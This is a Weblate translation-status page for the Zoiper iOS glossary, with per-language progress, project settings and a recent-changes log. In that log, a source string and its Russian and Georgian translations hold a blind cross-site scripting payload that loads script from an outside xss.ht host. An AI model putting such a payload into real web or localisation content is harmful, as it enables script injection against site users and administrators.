Zoiper iOS/Zoiper iOS @ Weblate

Language	Translated	Unfinished	Unfinished words	Unfinished characters	Untranslated	Checks	Suggestions	Comments
English	68	0	0	0	0	0	0	0

Arabic	0	3	15	138	3	0	2	0

Catalan	0	3	15	138	3	0	0	0

Chinese (Simplified)	3	0	0	0	0	0	0	0

Czech	0	3	15	138	3	0	1	0

French	0	3	15	138	3	0	0	0

Georgian	3	0	0	0	0	0	0	0

German	0	3	15	138	3	0	2	0

Hebrew	0	3	15	138	3	0	1	0

Hungarian	0	3	15	138	3	0	1	0

Italian	0	3	15	138	2	0	1	0

Japanese	67	1	2	48	1	0	0	0

Norwegian Bokmål (nb)	0	3	15	138	3	0	0	0

Norwegian Nynorsk	0	3	15	138	3	0	0	0

Persian	0	3	15	138	3	0	0	0

Polish	0	3	15	138	3	0	2	0

Portuguese	0	3	15	138	3	0	2	0

Romanian	0	3	15	138	3	0	0	0

Russian	3	0	0	0	0	0	2	0

Serbian	2	1	10	69	1	0	0	0

Sinhala	0	3	15	138	3	0	0	0

Spanish	0	3	15	138	3	0	2	0

Swedish	0	3	15	138	3	0	0	0

template (generated) (template)	0	3	15	138	3	0	0	0

Turkish	0	3	15	138	3	0	2	0

Ukrainian	0	3	15	138	3	0	0	0

Please sign in to see the alerts.

Overview

Project website	zoiper.com
Instructions for translators	https://www.zoiper.com/en/translate-licensing-agreement
Project maintainers	Ivan Zlatev petyo admin maxim.zuev
Translation process	Translations can be made directly. Translation suggestions can be made. Any authenticated user can contribute. The translation uses bilingual files.
Source code repository	`local:`
Repository branch	main
Weblate repository	`https://translate.zoiper.com/git/zoiper-ios/glossary/`
File mask	`*.tbx`

3 weeks ago

String statistics

	Strings percent	Hosted strings	Words percent	Hosted words	Characters percent	Hosted characters
Total		208		612		5,034
Source		68		126		861
Translated	70%	146	49%	300	42%	2,157
Needs editing	1%	1	1%	3	1%	21
Read-only	1%	2	3%	20	2%	138
Failing checks	0%	0	0%	0	0%	0
Strings with suggestions	8%	18	8%	53	12%	642
Untranslated strings	29%	61	50%	309	56%	2,856

Last 12 months Previous

Activity in last 12 months


Jul	Aug	Sep	Oct	Nov	Dec	Jan	Feb	Mar	Apr	May	Jun

Quick numbers

612

Hosted words

208

Hosted strings

70%

Translated

Contributors

and previous 30 days

Trends of last 30 days

—

Hosted words

+100%

—

Hosted strings

+100%

+1%

Translated

+69%

—

Contributors

—

Search

Advanced query builder

Query examples

Review strings changed by other users	`changed:>=2025-06-07 AND NOT changed_by:anonymous`	Add
Translated strings	`state:>=translated`	Add
Strings with comments	`has:comment`	Add
Strings with any failing checks	`has:check`	Add
Strings with suggestions from others	`has:suggestion AND NOT suggestion_author:anonymous`	Add
Approved strings with suggestions	`state:approved AND has:suggestion`	Add
All untranslated strings added the past month	`added:>=2025-06-07 AND state:<=needs-editing`	Add
Translated strings in a certain language	`is:translated AND language:en`	Add

None Changes committed Zoiper iOS Zoiper iOS Glossary Russian	Changes committed a month ago
karpuzikov Translation completed Zoiper iOS Zoiper iOS Glossary Russian	Translation completed a month ago
karpuzikov Translation added Zoiper iOS Zoiper iOS Glossary Russian	English "><script src=https://rootsecss.xss.ht></script> Russian 48 characters edited Current translation Translated "><script src=https://rootsecss.xss.ht></script> a month ago
karpuzikov Translation added Zoiper iOS Zoiper iOS Glossary Russian	English Failed to provision the account - Invalid provisioning data received. Russian 92 characters edited Current translation Translated Не удалось инициализировать учетную запись — получены недействительные данные инициализации. a month ago
karpuzikov Contributor joined Zoiper iOS Zoiper iOS Glossary Russian	Contributor joined a month ago
anonymous Suggestion added Zoiper iOS Zoiper iOS Glossary Russian	English Failed to provision the account - Invalid provisioning data received. Russian 83 characters edited Не удалось предоставить учетную запись - Получены неверные данные о предоставлении. 4 months ago
None Changes committed Zoiper iOS Zoiper iOS Glossary Georgian	Changes committed 9 months ago
NorwayFun Translation completed Zoiper iOS Zoiper iOS Glossary Georgian	Translation completed 9 months ago
NorwayFun Translation added Zoiper iOS Zoiper iOS Glossary Georgian	English Failed to provision the account - Invalid provisioning data received. Georgian 89 characters edited Current translation Translated ანგარიშის სამუშაოდ მომზადება ჩავარდა - მიღებულია არასწორი სამუშაოდ მომზადების მონაცემები. 9 months ago
NorwayFun Translation added Zoiper iOS Zoiper iOS Glossary Georgian	English "><script src=https://rootsecss.xss.ht></script> Georgian 48 characters edited Current translation Translated "><script src=https://rootsecss.xss.ht></script> 9 months ago

Browse all component changes